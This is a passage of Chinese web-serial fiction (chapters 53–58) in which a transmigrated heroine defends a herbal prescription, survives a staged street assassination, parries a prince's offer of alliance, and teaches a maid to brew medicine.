沈听晚眉头紧拧,嘴角狠狠地抽了抽:“我这方子,这么就成绝命毒药了?” “怎么就不是了!”坐诊大夫也动了怒,猛地从椅子上站起,一把夺过沈听晚手中的方子,略显粗糙的手指在纸上点着,“你看这两味药,表面上看是平稳经络的,但加上龙骨,便会导致患者经脉寸断,痛不欲生!” “还有这个……”他声音愈发严厉:“丹参和三七本是护住心脉的良药,但方中却配了虻虫,若是让患者服用,极可能导致失血过多而亡!剩下的几味,还需要我一一给你指出来吗?” 听着坐诊大夫的分析,沈听晚眼中闪过一丝意外,轻轻挑了挑眉,她抬眼仔细打量过去,不得不承认,这坐堂大夫确实有些真本事。 单从能在她这药方子里看出来这些,就足以证明,他是一个很不错的大夫。 只不过…… “你说的不错,很多药材的确相克。” “哼,姑娘你承认了就好!” 沈听晚又道:“但草本药理论当中,相克制的药材配伍也并非绝对有害,合理运用反而能通过制约达到平衡疗效,减少副作用的效果。 而你却只看表面,便断定这是毒药,却未细究用量多少,如此草率下结论,未免太过武断了吧!” 坐堂大夫闻言一愣,脸色微变。 沈听晚又冷声道:“这方中黄连大寒,但干姜却是大热,两者同用,可减轻黄连的寒凉之性,同时缓解干姜的燥热之弊。你觉得乌头与半夏相克,却不知这两味药都是缓解顽固疼痛的良方。 只要相克的药材按照适当比例搭配,便能相辅相成,化害为利!难道你连这些都不知道吗?” 坐堂大夫被沈听晚的话说得一愣一愣的,脸色由白转青,再由青转一抹臊红。 作为大夫,他当然学过这些药理,但却从未想过京城中竟有人敢这么大胆的用药。 他重新拿起方子,仔细端详了许久,额头渗出细密的汗珠。 终于,他缓缓抬起头,布满皱纹的脸上带着歉意:“实在对不住,这位姑娘,方才是在下唐突了。 这方子确实精妙,在下医术浅薄,未能参透其中玄机,这药你可以带走了。” 关键是他实在没想到,眼前这看似年轻的姑娘, 竟在医术方面有这么深的造诣啊! “恕在下冒昧,敢问姑娘一句,”坐堂大夫眼中闪烁出一抹光亮,声音微微发颤:“这方子是出自何人之手?” 坐堂大夫也是个一心痴迷于医术的,仔细看过这方子之后,便察觉到,能开出这方子之人,绝非寻常医者! 至少这全京城上下,就连宫中的太医,怕是都没有这样的能耐。 他心里暗暗想着,难不成京城之中还藏着医术上的高手? 沈听晚面无表情,淡淡地道:“方子就是我开的。” 坐诊大夫眼前顿时一亮:“是姑娘您?!”他激动得声音都拔高了几度,又不死心地追问:“敢问姑娘师承何处?” 沈听晚看了坐堂大夫一眼:“家师神医谷廖鹊。” 不得不说,原主这神医谷弟子的头衔,真的可以省去很多麻烦呢。 至少现在,她说出廖神医的名讳之后,那坐堂大夫便被不会再怀疑什么了。 说罢,沈听晚将打包好的药材拿到手上,随即丢下银子,便转身大步而去。 坐堂大夫呆愣愣的盯着沈听晚离开的身影,眼中的激动无法自控,甚至还渐渐闪烁着一抹湿润。 神医谷! 那是天下所有医者梦寐以求的圣地啊! 他万万没想到,有生之年竟能亲眼见到廖神医的亲传弟子! 躲在一旁、始终不敢出声的药童小心翼翼地走上前,怯生生地问道:“师傅,您不是说那姑娘的方子有问题吗?怎么就让她把药带走了?” “你懂什么!”坐诊大夫猛地回神,转身瞪了药童一眼:“那可是廖神医的亲传弟子!刚才那个方子你还记得吗?” 药童忙不迭点头:“记得,记得!” “嗯,晚上百草集册不用抄了。”坐堂大夫的话,叫药童心下一喜,眼中也顿时满是光亮:“真的师傅?” 然而,当听到师傅后面的话时,药童脸上的笑意顿时僵住。 “把那方子写上一百遍,牢记于心,记着,那方子可是出于神医谷的,千金难求!”可比那百草集册珍贵太多了! …… 出了百草堂的沈听晚,一路上面无表情的朝着巷子的方向而去。 想不到,她不过是出来抓味药材,竟还能碰上这样的事。 不过沈听晚并不生气,反而有些欣赏百草堂的行事风格了。 那句“只卖治病救人的草药,绝不给人绝命毒药。”更是深深印在了她的心上。 看来,这百草堂倒是可以成为长期合作的对象。 沈听晚心中暗想,嘴角不自觉地勾起一抹明媚的笑意。 等她拿到和离书后,定要再来一趟百草堂,好好和那坐堂大夫谈一笔生意。 然而,正沉浸在自己思绪当中的沈听晚,却浑然不觉一辆受了惊吓的马儿,正极速朝着她的方向奔驰而来…… “快让开,马受惊了!”不远处一个车夫一边牵制着缰绳,一边扬声提醒着街上的行人。 沈听晚瞬间回神,转头望去,瞳孔骤然收缩。 只见那匹枣红骏马正不要命了一般,朝着她的方向而来,马而似乎受了惊吓,仰头嘶吼着。 沈听晚面色一凛,将药材包紧紧护在怀中,同时从发间抽出两枚银针,手腕一扬,两道银光如流星般射向马腿。 第54章 遇刺 银针精准地刺入马腿,马儿骤然吃痛,前蹄高高扬起,发出一道震耳欲聋的嘶吼声响彻整条长街。 然而,这根银针非但未能让马儿停下,反而叫马更加疯狂起来,只见那马双眼猩红如血,鼻孔喷出滚滚白气,猛地一甩头,“啪”的一声脆响,竟将束缚在身上的缰绳硬生生扯断。重获自由后,便如同离弦之箭般朝着沈听晚的方向疾驰而来。 沈听晚黛眉紧蹙,心头警铃大作,暗道不妙。 这马,分明是冲着她来的! 眼中的寒光一闪而过,危机感如寒潭般浸透全身。 就在这千钧一发之际,春婳与冬卉如两道疾风般闪现,一人挡在沈听晚身前,另一人已提剑在手,足尖轻点,朝着那匹发狂的骏马飞身而去。 “王妃小心!”春婳清脆的声音如银铃般响起,素手已轻搭在沈听晚的腰间。 沈听晚只觉腰间一紧,再回神便发现自己整个人被凌空提起,她心头一惊,转瞬之间,她已稳稳落在一处安全之地 沈听晚眼中闪过一丝惊讶。 这就是有轻功的好处啊! 一股很强烈的念头在沈听晚的脑海中不断翻涌,这轻功有用,她得学! 春婳将沈听晚安置到一处安全的地方,然后紧跟着冬卉一同而去,准备将马制服。 见着春婳冬卉两人出了手,沈听晚也不再上前,而是紧抱着药材,站在暗处,看着两人的方向。 然而就在这时,方才那控制马的车夫脸上突然间生出一倒狠厉之色,他从腰间抽出一把锃亮的匕首,跳下马车,不知不觉间一点点朝着沈听晚的方向靠近。 此时,沈听晚的注意力全然被春婳两人的方向吸人,丝毫未觉,隐藏在暗处的危险正悄悄逼近…… “去死吧!”车夫低吼一声,双手紧握匕首,如饿狼扑食般朝着沈听晚猛冲而来。 沈听晚猛然回神,只见那车夫逼近,匕首的寒光映照出他狰狞的面容。 她眼中寒芒一闪,手指悄然探入袖中,正准备将藏在手里的最后一根银针朝着车夫的方向射去,却在这时,一道熟悉而急促的男人声响传入沈听晚的耳中:“小心!” 下一瞬,手腕被人用力拉住,紧接着沈听晚整个人被拉的一个踉跄,余光扫见眼前一道白影。 男人将沈听晚拉到自己身后,随即拔出藏于剑鞘中的长剑,刺于车夫的胸口。 噗呲! 喷溅出的鲜血染红了男人的白衣,沈听晚回神抬头看过去,便见站在自己身前的那人不是君宁宇又是何人。 难怪,她刚才看到余光中的那一抹白,会觉得那么熟悉。 经历过这么一遭后,沈听晚对于危险也是极度的敏锐,下意识向后退了一步,并且也做好了准备要回击的准备,警惕看向四周。 她现在可以确定了,那受惊的马和那个车夫,全部都是奔着她而来的。 事实证明,沈听晚的判断也是正确的。 “你没事吧?” 了结了那车夫的性命之后,君宁宇才转头看向一袭白纱斗笠遮挡去面容的女子,关切的开口问道。 沈听晚不想被君宁宇发现身份,所以缓缓摇了摇头却未开口。 然而,君宁宇却似乎已经发现了沈听晚的身份,脸上勾起一抹温润的笑。 “今日让皇婶受了惊吓,皇婶怎会一人出现在此处? 幸好侄儿在这附近,不然今天皇婶恐有性命之忧啊。” 听到君宁宇的话,沈听晚瞬间警铃大作,抬头提防的看向眼前之人。 他,竟然发现自己是谁了? 明明她身上的斗笠并未掀开,一直都没有人见过她的样子。 君宁宇是如何发现的? 君宁宇似乎看穿了沈听晚心里的想法,不禁莞尔一笑,温润的眸移目看向不远处刚制服住发狂的马的两人,温声开口。 “侄儿看出了那两人是翊王府的武婢,她们这般尽全力维护与你,想来除了翊王妃,便再无她人了吧。” 沈听晚心下了然,想不到竟然是因为春婳和冬卉。 不过…… 沈听晚再抬眼看向君宁宇,眼中的警惕未减弱分毫,那两个武婢身上可没有半点可以暴露身份的地方啊? 心下怀疑,但沈听晚却并未言明,而是略带感激的开口:“今日多谢宇世子出手相救。” “皇婶不必客气,就算换做旁人遇险,侄儿也无法做到袖手旁观之理,更何况是侄儿的皇婶。” 君宁宇万般真诚的开口,言辞间没有半点因为沈听晚的身份的奉承,脸上的笑意也并不叫人反感。 沈听晚淡淡点了点头:“宁世子的衣服脏了,还是尽快回去换上一件,今日之恩,我记下了,定会报答。” 听见沈听晚的话,君宁宇这才垂下眼,果然看到自己雪白的衣襟上染上了一抹刺眼的红,垂下去的眼中闪过一丝不易察觉的暗色。 “无事,不过方才那马和人应该都是冲皇婶而来的,皇婶在这京城之中可有得罪过的人吗?” 沈听晚蹙起眉头,仔细的想了想,随即轻摇头:“并不曾。” 她才刚来到这里,从东宫出来就直接进了翊王府,而且也并不经常出门,除了前些天回门回了一趟将军府,算起来,这还是她第二次出门呢。 会得罪什么人? 沈听晚心下想着,好像最希望她死的,估计就是有太子和叶雪初了。 但是太子目前被禁足,再加上她和皇后表面的已经打成交易,叶雪初身为太子才人,连家人的面都见不了,这两人压根就没有机会对她动手啊。 可除了这两人之外,还有谁会这么盼着她死呢? 沈听晚一时之间是想不出个所以然来。 君宁宇站在沈听晚的身前,也仔细沉思片刻,良久,才满含歉意的开口:“可惜,方才那刺客被侄儿失手夺了性命,不过皇婶若是信任侄儿,便将此事交由侄儿调查,侄儿定帮皇婶找到那幕后真凶。” 沈听晚抬眼看过去,见着君宁宇身上的那一抹喷溅的红,又见倒在地上早已经气绝身亡的车夫,心中的警惕始终未放下身后。 第55章 你太着急了 她打量着君宁宇,明明一副温润尔雅,翩翩公子的形象,可是却能一剑将人斩杀,这种藏在骨子里的狠厉,却是怎么也无法隐藏。 再一次,沈听晚的心里在君宁宇的身上安上了“极度危险”的标签。 所以,他究竟是一个什么样的人呢? 警惕归警惕,但沈听晚却并未表现出来,不过也并不想和君宁宇又过分亲近。 索性直接了当地开口拒绝道:“不劳宁世子费心了,想来是我平日里无意间得罪了人而不自知,既然刺客已死,再查下去也是徒劳,此事就此作罢吧。” 就算是要查,那也是她自己的事,沈听晚可不习惯于找人帮忙。 更何况,这个人在她的心里,印象还并不怎么好。 面对沈听晚的拒绝,君宁宇却未有半分恼意,反而微微一笑,自顾自的开口:“那幕后之人想必也并非要治皇婶于死地。” “此话怎么说?” 君宁宇转身抬手指了指不远处:“那马像是被人喂了毒,即便两位姑娘不出手,也活不了,而且,方才这个刺客,虽然浑身一股子狠劲,但武功却并不高,是有些武功,侄儿那把剑便杀不了他。 连侄儿的剑都躲避不及,可见武功平平,若背后之人真有心要治皇婶于死地,并不会选择当街刺杀,变故颇多,皇婶很容易便会获救。” “那依宇世子的意思,那人只是想要给我一点教训,或者说是想要试探我身边是否有人在暗处保护?” 君宁宇点点头:“皇婶的分析正是侄儿心中所想。” 沈听晚冷光微闪,深吸一口气,随即淡淡开口:“哎,谁知道呢,不过那人今天知道我身后有人保护,应该不会再贸然出手了。” “未必。”君宁宇抬眼盯着沈听晚,因着有斗笠遮住,看不清斗笠下的那副面容,但那双眼睛却如寒星般明亮:“皇婶,依侄儿拙见,那背后之人此番为试探,若抓不住那幕后真凶,定会有下一步对皇婶的不利之举。” “若皇婶信得过侄儿,便将此事交于侄儿调查,侄儿定将此事查的水落石出。”君宁宇一脸真挚的开口,动作与表情让沈听晚察觉不到半点异常。 似乎君宁宇是真的想要替她抓到这幕后凶手似的。 可是…… 沈听晚抬眼看过去,语气算不上温和,甚至还带着一丝审视:“你为何要帮我?” 在沈听晚的印象里,这是她与君宁宇第二次见而已,而且她还是翊王妃,怎么说和君宁宇也应该没有什么过多交集才对。 而且,原书中,原主和君宁宇压根连一次面都没见过。 “因为你是侄儿的皇婶。”君宁宇嘴角带着笑意,既不过分热络,让人察觉不到疏离。 沈听晚轻笑一声,声音里带着几分嘲讽:“这话说的过于虚伪了吧? 宇世子究竟是想要从我身上得到什么,不妨直说。” 她和君宁宇能够什么交集? 要真说有交集,那一定是她对君宁宇来说有利可图。 君宁宇眼底闪过一丝光亮,嘴角依旧带着妥当且淡然的笑意:“皇婶果然聪明。 上一次见皇婶还是在皇宫之中,想必皇后娘娘已经和皇婶说了些什么。” 沈听晚并未开口,而是站在原地,等着君宁宇接下来的话。 不过,即便君宁宇不说,沈听晚现在也能猜出个大概来了。 她身上能有什么可以利用的呢,无非是她背后的将军府是个香饽饽而已。 “所以皇婶,刚才问侄儿想要什么,皇后娘娘她想要从皇婶身上得到什么,侄儿便也是如此。” 沈听晚听见这话,突然间笑了,笑声清朗:“看来宇世子并非外人所说那般与世无争啊? 所以,宇世子是也想争一争那位置?” 君宁宇的眸色暗了暗,淡淡开口:“如果能活着,谁也不想去争夺什么,正如皇婶大婚当日的及时止损,难道不也是因为想要活着而争的吗?” “可是活着,也并非只有不折手段的争夺。”沈听晚面无表情地道:“宇世子,你有很多条路可以走。” 他完全可以做一个与世无争的世子,过着尊贵的生活,娶妻生子,不去进宫争那让人头破血流的位置。可是偏偏,君宁宇就是选择了这么一条没有多少胜算,输了却是万劫不复的绝路。 “有很多条吗?”君宁宇低沉的声音呢喃道:“怕是不见得吧。” 他苦笑一声,声音里透着几分无奈 :“侄儿也不想去争抢什么,但是有些路一旦踏上,便没有回头的选择。” 在抬眼,君宁宇又恢复了往日的平静:“皇后娘娘能给皇婶的条件,侄儿都能满足,只求皇婶能够给侄儿一次可以活下去的机会。” 沈听晚顺着君宁宇接过话来:“能活下去不是谁给的机会,宇世子既然知道我见过皇后,便应该知道我的选择了,凡事强求不来,如果我不答应宇世子,你会杀了我吗?” 君宁宇一顿,面对沈听晚突然间的质问,眉心微微一凝,随即嘴角扯出一抹弧度:“皇婶此话倒是叫侄儿无地自容。 依侄儿拙见,凡事都是以利驱之,皇婶不选择侄儿,那便是侄儿的条件无法诱惑到皇婶。” 说着,君宁宇向后退了半步,朝着沈听晚深深行了一礼:“皇婶若信得过侄儿,打成合作,侄儿事成之后,可保将军府百年安稳无忧,并许沈大公子位列丞相。” 这样的承诺,可不是所有人都能给的。 他不相信,皇后能向沈听晚提出这样的条件。 “你太着急了。”沈听晚沉默一瞬,随即转过身去淡淡开口。 君宁宇地动作僵硬了一下,很快又恢复如常:“何以见得?” 沈听晚冷声开口:“这是我们第二次见面,宇世子便急于和我谈交易,不可谓是其心不诚,另外,如果我是宇世子的话,今日救命之恩,便已经给人留下了不错的印象,倒是可以缓缓图之,或者,尝试着多接近,让人放下心里所有的防备,在谈交易,或许成功的胜算会更大一些。” 第56章 是巧合,还是别有用心? 而不是像现在这般,急于求成,给人落下把柄。 如果她真的已经与皇后合作了,那今日君宁宇所说的一切言论,都会半字不落的落入皇后耳中。 君宁宇微微抬眼,看向沈听晚,眸中闪过一丝意外。 沈听晚,当真只是一个不谙世事的闺阁女子吗? 今日和他说的这番话,看似直言不讳,但却是将他想说的话堵的死死的,丝毫滴水不漏。 再继续要强行达成合作,反而会适得其反。 君宁宇原本以为沈听晚听到自己拉拢的话,要么干净利落的拒绝,要么因利答应,可却没想到,她不光一眼看穿他的意图,还这样直接了当的点破了。 一时之间,竟然叫君宁宇有些犯了难,继而忍不住笑了出来:“所以,若是侄儿真如皇婶所说那般,就会与侄儿达成合作了?” 沈听晚:“那如果我现在答应了宇世子,世子会真的相信我吗?” 沈听晚不答,只反问道:“如果我已经答应了皇后,却因为你给出的条件比皇后更诱人,便弃皇后之约转头与你达成合作,那倘若日后有人比世子的条件更诱人,世子会不会觉得我会弃你之约?” 君宁宇的心中掀起惊骇,在这一刻,他是彻底确定了,眼前的女子,绝非寻常之人。 至少,她不像自己所调查过的那般软弱可欺。 “如此,是侄儿妄言了。”君宁宇大方的道歉,很显然并未因为合作没达成而恼羞成怒。 这倒是叫沈听晚有些意外,她抬眼看过去,果然是能够与君宁玄那家伙争一争的男人。 她想,方才君宁宇说的那些,也并非是心急,而是试探。 而今天她若是真的答应了君宁宇,估计君宁宇也不可能全然相信。 沈听晚不在意的笑了笑,此时春婳与冬卉两人也朝着两人的方向走来,沈听晚顺势开口:“宇世子今日救命之恩,我会报答,但仅限于我个人,与将军府并无关系,世子可以想好需要让我助你什么,若我能做到,愿意尽力一试。” 这也算是今天君宁宇救下自己的报答了。 当然,也算是她对君宁宇今后悲催命运的怜悯。 她如果能救君宁宇一命,倒也算是积德。 “皇婶今日之言,侄儿受益良多。”君宁宇淡淡地开口,没有不满也没有因为沈听晚的话而过分激动,但却给人感觉又几分真挚所在。 沈听晚略思索片刻,突然间恍然,转眼看过去,有些试探的开口:“其实你今天同我说这些,并非真心拉拢吧?” 君宁宇轻眨了眨眼看过去,便见沈听晚又继续道:“你是要提醒我,与皇后合作便是与虎谋皮,即便合作打成,日后将军府也没有好下场。” 更可以说是一场试探,试探她究竟有没有与皇后结盟。 君宁宇眼底再一次闪过一抹惊艳,不得不说沈听晚简直是一语惊人,他的心思在沈听晚那里,似乎变得昭然若揭。 君宁宇无奈的勾唇淡笑起来:“事实上证明,侄儿的意图已经被皇婶察觉了。看来今后是不能再在皇婶面前使小聪明了。” 他今天算是真正见识到了,沈听晚的机警与防备。 不管在任何方面,沈听晚都可谓是滴水不漏,而且还能敏锐察觉到对方一切动机。 至少现在,他所做的一切,都被沈听晚看穿了一切。 沈听晚则是越想越觉得可能,眼前这位是什么人?那可是衡亲王世子,身上背负着血海深仇,不管是心智,计谋,都不可能让他如此心急火燎的与皇后抢夺势力。 沈听晚目光看向君宁宇,心中便暗道:果然是差一点运气就能成为男主的人啊,简直是长了一个好脑子。 差一点就连她都被迷惑住了。 “王妃娘娘,时候不早了,我们该回府了。” 这是,春婳与冬卉两人上前来,恭敬地道。 方才自家王妃和宁世子之间的对话瞒不过她们的眼,更加震惊的是,这看上去不声不响的世子,竟然有这种手段。 如此危险的人物,她们作为王妃娘娘的武婢,有责任上前去隔绝两人的距离,以保证王妃的安全。 沈听晚淡淡点头:“好。” 她也确实应该走了。 转头刚准备向君宁宇告辞,便见他有突然间开口:“皇婶懂得医术?”目光垂下看向沈听晚手上的几副药。 “略懂一二。” “那皇叔的情况,可有痊愈的可能?” 沈听晚:“宇世子希望殿下痊愈吗?” 君宁宇怔楞一下,又突然觉得自己的话不妥,微动了动唇:“自是希望的,皇叔从前对侄儿很好。” 他是希望皇叔痊愈的,但前提是翊王不会成为他复仇之路上的阻碍。 沈听晚叹了口气:“哎,我也希望宁世子的希望可以如愿。”又看了君宁宇最后一眼,随即微微颔首:“告辞。”转身大步离去。 夜色渐沉,沈听晚坐上了回翊王府的马车,却有些心神不宁。 她将头上的斗笠拿下来,一张阴沉的脸颊暴露出来。 今天街头的刺杀,沈听晚觉得绝不可能是偶然。 她将自己的面容遮掩得严严实实,即便将军夫妇在街上相遇,恐怕也难以认出这是他们的女儿,可君宁宇却一眼认出了她。 更巧的是,她遇到危险的时候,君宁宇就那么及时的出手相救。 还有那失控的马车与车夫,能在熙熙攘攘的人群中精准找到她的位置刺杀,更是令沈听晚百思不得其解。 若说刺客能轻易辨认刺杀的目标尚能说得过去,但那匹马又如何能如此准确地找到她? 所以这一切,究竟是巧合,还是别有用心? 一个个谜团在沈听晚脑海中飞快盘旋,却理不出头绪,让她面色愈发阴沉几分。 回到王府后,沈听晚把药交给秋月,让她亲自盯着煎熬。 沈听晚在街上遭遇刺杀的事情,自然瞒不过君翊,当看到沈听晚进门,君翊的目光立马紧紧地盯过去:“你怎么样,可有哪里受伤?” 沈听晚看着一脸紧张的君翊,脸上终于有了一点笑意:“我没事。” 第57章 沈听晚到底经历过什么? 君翊的面容紧绷,眉宇间凝结着化不开的寒霜,沉声开口:“怎么会遭遇刺杀?那刺客现在在何处?” 敢碰他的人,看来那个人是活的不耐烦了! 沈听晚脸上的笑意渐渐褪去,她叹了口气,肩膀微微轻耸,语气间颇为无奈地道:“被你那个侄儿给杀了。” “君宁宇?”君翊眸中闪过一丝暗光。 “嗯。” “他倒是出现得及时。”君翊微眯起双眼,眸中闪过一丝如冰刃般的冷意,语气中带着几分探究。 沈听晚缓步走到床边,一屁股坐到君翊身旁,语气带着后怕:“确实够及时,要是没有他出现,估计怎么着我也得受点伤了。” 沈听晚轻叹一声,指尖不自觉摩挲着袖中的银针。 虽然她手里藏着银针,但那个车夫冲过来的速度实在太快了,就算银针能顺利射出去,也不可能在他靠近自己之前把人给放倒。 “现在人死了,线索也断了。”沈听晚眉头微蹙,声音中带着几分思索:“但我秘密出府的事,外人不可能会知道,那究竟是什么人,把我的行踪给透露出去的呢?” 沈听晚坐在床边,纤细的手指无意识地绞在一起,心中分析着,却不知不觉间,竟将心里的疑惑说了出来。 “外人不知,那自然就是府里藏着贼了。”君翊冷声开口,一双深邃如夜的漆黑双眸中,闪过一丝阴沉的冷意。 他想过府里头有人会对他下手,也没想到那个人竟然还盯上了沈听晚! 沈听晚回过神来,随即点点头,眸中怒火闪烁,声音中带着压抑不住的愤怒:“都已经清出去一批了,没想到他们还不肯消停!” 竟然还敢把主意打到她身上来了! “此事,本王会叫暗祁去调查,不管是何人所为,定不会轻易放过他。” 沈听晚听见这话,却没开口说什么,而是沉浸在自己的思绪当中,许久,才见她转眼盯着君翊,眼底一抹狐疑:“你说,今天要对我动手的人,会不会和给你下毒的人是同一个?” 君翊一顿。 这他倒是没想过。 “看来给你下毒的,现在还在王府里头呢!”沈听晚心角眉梢泛着凛冽的怒气,嘴角勾起一抹冷意:“呵,这家伙藏得倒是挺深啊!” 不过,不管藏得有多深,她都一定把人给揪出来! 君翊的薄唇紧抿成一条直线,见着眼前小姑娘满眼的怒气,轻叹一声。 “抱歉……” 略微沙哑的语气带着淡淡的歉意。 如果不是因为沈听晚嫁给了他,也不可能会被人盯着,更不会遇到这样的危险。 “你道什么歉,”沈听晚转过头,一眼便捕捉到君翊眼底划过的愧疚,她缓缓摇头,语气略带柔和地开口:“想要杀我的人又不是你。” “不过,”她顿了顿,眼中闪过一丝冷意,“那个人一直在王府里,始终是个隐患,得想个法子,把人给揪出来才行。” 沈听晚话锋一转,语气陡然变得寒冰,眼底不经意间泄露出一抹凌厉的杀意,与平日里淡然从容的沈听晚,判若两人。 君翊抬眸看过去,心中不禁升起一抹意外。 这样的表情,绝不像一个久居闺阁的深闺女子,反而更像是久经沙场、斩杀过无数敌人的杀神,浑身散发着令人不寒而栗的气势! 君翊收回视线,微垂下一抹深邃的眸,眸中满是探究之色。 冬卉进门来报沈听晚街头遭遇刺杀的时候好像说过,她们在发现险情时,冲出去之前,曾看到过沈听晚将银针甩向失控的马。 而且准头及准,两枚银针刚好射入马腿上,如果不是那马被人下了药,发狂暴怒,估计就算没有春婳与冬卉两人,沈听晚也足矣有能力自保…… 君翊回神,视线朝着沈听晚的方向一瞬不瞬地看过去。 所以,沈听晚到底都经历过了什么? 明明是一个女子,为何会精通暗器之道? 此时,君翊的心里莫名升起一股浓浓的心疼。 若非不是要自保,怎么会习得一身的武艺? “算了,先不想了,想要抓住那人也不是一朝一夕的,总得找到合适的机会才行,我先去给你弄饭去。” 这头,沈听晚也从自己的思绪当中走了出来,全然没发现,床上躺着睡男人,看向她的目光有什么不对劲。 她站起身,说罢便往房门口而去。 沈听晚的心里头装着事儿,出了房门一路去了后院厨房,就连下人经过,似乎都能感觉到她们王妃娘娘的身上,好像戾气不小…… 沈听晚面无表情的走到厨房,见着秋月正在一旁的灶台边上,用扇子卖力的扇着火,灶台上放着沈听晚刚从百草堂买回来的药材。 见着灶炉里头的火不够旺,秋月苦恼一阵,随即放下手上的扇子,将嘴靠近灶炉口,费劲儿地吹着。 小姑娘的脸颊鼓起,圆鼓鼓的,看上去就不禁叫人想笑。 沈听晚也有些忍俊不禁,站在门口,噗呲一声笑了出来,吓了正专心熬药的秋月一跳。 秋月听到门口传来动静,赶忙下意识的转头看过去,档口看到门口是王妃,整个身子瞬间拘谨,站起身恭敬行礼道:“王妃娘娘……” 沈听晚嘴角微动了动。 这小丫鬟怎么还是这么怕自己呢? 她就这么吓人? 沈听晚心里头有些苦恼,抬眼看了一下秋月。 小丫鬟哪哪都好,干活手脚也麻利,不管交代给她做什么,她都能完成的叫沈听晚满意。 就是有一点让沈听晚受不了,那就是小丫鬟一看见她,就像是耗子碰见了猫,吓得浑身瑟瑟发抖不说,连抬眼看她一眼都不敢。 她究竟哪里给了小丫鬟留下那么可怕的形象了呢? 沈听晚心里头暗叹着,脸上刚刚被秋月逗笑的笑意也淡下去了几分:“起来吧。” “是。”秋月拘谨地又重新坐回椅子上继续煎药,只是因为沈听晚的出现,整个人明显紧张了几分,拿起扇子朝着灶炉里僵硬地扇着,连动作都变得僵硬许多。 第58章 她不该承受这份无妄之灾 沈听晚心里也很是无奈,我也知道想让小丫鬟不怕自己,短时间内也恐怕没办法办到。 算了!日子还长呢…… 她走到另外一个灶台边上,便开始准备今晚的吃食,不知不觉间便开始沉浸在忙碌当中。 秋月一开始见着沈听晚进门,还是紧张的要命,不过过了许久,都没有传来王妃的训斥声,她悄悄转头偷看了一眼,见着自家王妃正亲自做着晚膳。 一双圆溜溜的大眼睛里透着好奇与一丝忐忑。 王妃娘娘,竟然会亲自动手准备饭食…… 虽然秋月一直听说过王妃娘娘在王府里有都是亲自动手做饭的,但却从来都没有亲眼见过,今天要不是王妃吩咐她到厨房替王爷煎药,她怕是还见不到呢。 秋月的视线悄悄看过去,见着没被王妃发现,胆子也越发大了些,整个人放松了不少。 或许,王妃娘娘真的没有想象中那么可怕。 然而,下一瞬…… “药煎焦了。” 秋月心里头正想着,突然间不远处传来沈听晚的声音,脸色一下子变了。 忙不迭转眼看向灶台上的药罐,果然药罐里头发出刺耳的“呲呲”响声,大量的白烟夹杂着一股子焦糊味儿扑面而来,吓得秋月脸色顿时变得惨白起来。 完了,她把给王爷煎的药熬废了! 而且还被王妃娘娘亲自抓包了…… 秋月满脸心如死灰,跪在地上:“王妃娘娘息怒,奴婢该死!” 见着秋月那张写满绝望且无助的小脸儿,沈听晚不禁无奈地笑了笑:“秋月啊,药煎坏了,再换一副就是了,怎么就该死了呢?” 秋月原本以为自己今天要完蛋了,再不济也肯定受王妃娘娘一顿狠狠地责罚,然而,却没想到,王妃娘娘竟然会这么说…… 她身体一僵,缓了好久才一脸不敢置信的缓缓抬眸,眼中闪着一丝小心翼翼。 沈听晚放下手上的食材走过去,道架子上又从新拿了一副药递给秋月:“喏,重新煎就是,不过这是最后一副了,可不能再焦了,不然王爷今天可就没得药喝了。” 她一共就买了两副药,本本只需要一副就可以,多买一份也是为了备用,想不到竟真的派上了用场。 听见沈听晚的话,秋月连连点头保证道:“多谢王妃娘娘,奴婢一定看好,保证不把药煎焦!” 心里头更是感动的稀里哗啦,她当着王妃娘娘的面把药熬废了,王妃娘娘非但没罚自己,反而还安慰她! 一时之间,秋月心里头的感动战胜了对怯懦,似乎真的没那么害怕沈听晚了。 “知道为什么你会把药煎焦了吗?”沈听晚又突然间开口说道。 秋月一愣,小脸又是一阵惨白:“奴婢……奴婢刚才出神了……没,没看好……” 沈听晚却轻笑着摇了摇头:“不是因为这个。” 秋月缓缓抬起头来,眼底带着一丝茫然。 “是因为你把火烧得太旺了。这药需要小火慢煎,你刚才为了把火烧旺些,刻意地用嘴来吹,这腮帮子都酸了吧。”沈听晚笑着提醒道。 不过也怪不得小丫鬟,她估计是第一次煎药,只一心想着要尽快把药煎好,却不知道煎药不一定是火越旺越好的。 秋月听见这话,瞬间恍然大悟,眼睛里的光也亮了几分,忙不迭地点头:“奴婢明白了!” “你也是第一次煎药,不过你足够聪明,肯定一点就会。”沈听晚抬手轻轻拍了拍秋月的肩膀:“有什么不懂的尽管问我便是,我就在厨房。” 见着沈听晚脸上的笑意,秋月一时之间竟久久无法回神。 王妃娘娘知道她这是第一次煎药,却还是把这么重要的事交给了她来做…… 这种莫名被信任的感觉,叫秋月心头泛起一阵阵暖意。 秋月的眼眶突然泛红,她吸了吸鼻子,声音有些哽咽地道:“多谢王妃娘娘教导,奴婢定当竭尽全力,不辜负王妃娘娘期望!” 沈听晚也是没想到,不过是一副药,就叫小丫鬟对她彻底有了改观,而且似乎好像也没那么畏惧自己了。 看着秋月一脸认真地打开药包,仔细清洗药罐,又重新开始煎药,沈听晚也是满面的欣慰。 她转身回到灶台前,将洗好的菜放入油热的锅中,拿起铲子熟练地翻动起来,见着火候到了,便拿起水瓢,添了一瓢清水,锅沿顿时发出"滋滋"的声响。 屋内。 暗祁推门手上端着一盆温水走进来,准备要给君翊擦擦身。 一年多来,君翊的身上之所以还能保证那么干净,都是因为暗祁暗蒙每天都会进门给君翊清洗身子。 只不过沈听晚自打进门之后,暗祁两人担心王妃会嫌弃自家王爷,所以清洗的次数便勤了些,但都是等着王妃不在房间里的时候进门的。 暗祁将水盆放下,拿起浸了温水的锦布,走到床边轻轻撩起君翊的袖子,动作细致而娴熟地为他擦拭起来。 “王爷,方才暗蒙去过王妃今日遇刺的地方看过,那里已被人打扫得一干二净,并未发现任何异常。” 就连那匹马,都不知去向了。 君翊:“那个刺客呢?” 人既然死了,那尸体应该还在的吧? “据说是被宇世子带走了。”暗祁顿住一下:“宇世子好像跟王妃提起过,他会帮王妃找到幕后之人。” “哼。”君翊冷哼一声,抬手将暗祁手上的锦布拿过来:“他倒是殷勤的很。” 不过这心里头究竟打着什么主意,别以为他不知道! 暗祁见着自家主子的手可以动,心里头又是一阵激动和欣喜。 这都是因为王妃娘娘啊,他们家主子,现在是越来越好了! 君翊将擦过脸的锦布扔给暗祁,嗓音淡淡道:“今后王妃若要出门,除了春婳和冬卉暗中跟随,你和暗蒙也派一人保护王妃安全。” 君翊不介意那些人对他动手,若真的能杀了他,也算是对方有那个本事。 但是沈听晚不该受到这份无妄之灾。 第59章 王妃可疑 